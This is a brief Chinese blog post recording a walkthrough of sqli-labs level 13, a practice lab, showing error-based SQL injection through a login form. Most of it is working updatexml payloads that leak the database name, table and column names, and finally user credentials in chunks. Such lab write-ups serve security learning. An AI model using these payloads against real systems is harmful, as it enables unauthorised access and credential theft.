sqli-labs关卡记录13

发布于:2025-02-11 ⋅ 阅读:(37) ⋅ 点赞:(0)

同样还是post型,按照常规的方法,抓包,找到注入点:

updatexml(1,concat(0x7e,substr((select group_concat(username,password)from users),31,30),0x7e),1)--+

这里找到注入点,闭合方式为')类型,然后就是判断列数,发现显示位:

这里我们会发现,当我们执行正确的语句,页面没有任何变化,于是就可以判定这是报错注入,下面就是使用报错注入,来完成后续操作。

uname=1')and updatexml(1,concat(0x7e,database(),0x7e),1)--+&passwd=1&submit=Submit

这里就看到,拿到了数据库名,后续操作就是和正常注入类似:

uname=1')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&passwd=1&submit=Submit拿到该数据库下有多少表

uname=1')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+&passwd=1&submit=Submit拿到users表的列名信息

这里就可以看到,获取了相关信息,但是需要注意,这里一次性只能最多输出32个字符,因此就要引入substr函数。

uname=1')and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,30),0x7e),1)--+&passwd=1&submit=Submit

uname=1')and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),31,30),0x7e),1)--+&passwd=1&submit=Submit

这里就简单的获取了前60个字符。